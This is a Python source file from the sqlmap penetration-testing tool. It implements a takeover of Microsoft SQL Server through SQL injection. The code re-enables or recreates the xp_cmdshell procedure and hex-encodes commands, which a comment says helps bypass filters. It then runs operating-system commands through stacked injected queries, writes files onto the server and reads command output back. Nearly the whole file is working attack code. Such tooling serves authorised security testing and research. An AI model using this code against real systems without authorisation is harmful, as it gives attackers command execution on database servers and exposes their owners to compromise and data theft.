sqlmap/lib/takeover/xp_cmdshell.py
2016-12-19 23:47:39 +01:00

298 lines
11 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import flattenValue
from lib.core.common import getLimitRange
from lib.core.common import getSQLSnippet
from lib.core.common import hashDBWrite
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import pushValue
from lib.core.common import popValue
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import wasLastResponseDelayed
from lib.core.convert import hexencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.threads import getCurrentThreadData
from lib.request import inject
class XP_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins.
"""
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def _xpCmdshellCreate(self):
cmd = ""
if not Backend.isVersionWithin(("2000",)):
logger.debug("activating sp_OACreate")
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
inject.goStacked(agent.runAsDBMSUser(cmd))
self._randStr = randomStr(lowercase=True)
self.xpCmdshellStr = "master..new_xp_cmdshell"
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
if not Backend.isVersionWithin(("2000",)):
cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd))
def _xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd
def _xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
logger.debug(debugMsg)
if mode == 1:
cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
else:
cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))
return cmd
def _xpCmdshellConfigure(self, mode):
if Backend.isVersionWithin(("2000",)):
cmd = self._xpCmdshellConfigure2000(mode)
else:
cmd = self._xpCmdshellConfigure2005(mode)
inject.goStacked(agent.runAsDBMSUser(cmd))
def _xpCmdshellCheck(self):
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
self.xpCmdshellExecCmd(cmd)
return wasLastResponseDelayed()
def _xpCmdshellTest(self):
threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut)
threadData.disableStdOut = True
logger.info("testing if xp_cmdshell extended procedure is usable")
output = self.xpCmdshellEvalCmd("echo 1")
if output == "1":
logger.info("xp_cmdshell extended procedure is usable")
elif isNoneValue(output) and conf.dbmsCred:
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
errMsg += "storing console output within the back-end file system "
errMsg += "does not have writing permissions for the DBMS process. "
errMsg += "You are advised to manually adjust it with option "
errMsg += "'--tmp-path' or you won't be able to retrieve "
errMsg += "the command(s) output"
logger.error(errMsg)
elif isNoneValue(output):
logger.error("unable to retrieve xp_cmdshell output")
else:
logger.info("xp_cmdshell extended procedure is usable")
threadData.disableStdOut = popValue()
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
echoedLines = []
cmd = ""
charCounter = 0
maxLen = 512
if isinstance(fileContent, (set, list, tuple)):
lines = fileContent
else:
lines = fileContent.split("\n")
for line in lines:
echoedLine = "echo %s " % line
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine)
for echoedLine in echoedLines:
cmd += "%s & " % echoedLine
charCounter += len(echoedLine)
if charCounter >= maxLen:
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
cmd = ""
charCounter = 0
if cmd:
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
self._randStr = randomStr(lowercase=True)
self._cmd = "0x%s" % hexencode(cmd)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd)
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred:
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
return agent.runAsDBMSUser(self._forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False):
return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
output = None
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
if (output is None) or len(output)==0 or output[0] is None:
output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
_ = ""
lines = [line for line in flattenValue(output) if line is not None]
for i in xrange(len(lines)):
line = lines[i] or ""
if line is None or i in (0, len(lines) - 1) and not line.strip():
continue
_ += "%s\n" % line
output = _.rstrip('\n')
return output
def xpCmdshellInit(self):
if not kb.xpCmdshellAvailable:
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, please wait.."
logger.info(infoMsg)
result = self._xpCmdshellCheck()
if result:
logger.info("xp_cmdshell extended procedure is available")
kb.xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self._xpCmdshellConfigure(1)
if self._xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully")
kb.xpCmdshellAvailable = True
else:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self._xpCmdshellConfigure(0)
self._xpCmdshellCreate()
if self._xpCmdshellCheck():
logger.info("xp_cmdshell created successfully")
kb.xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
if not kb.xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell"
raise SqlmapUnsupportedFeatureException(errMsg)
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self._xpCmdshellTest()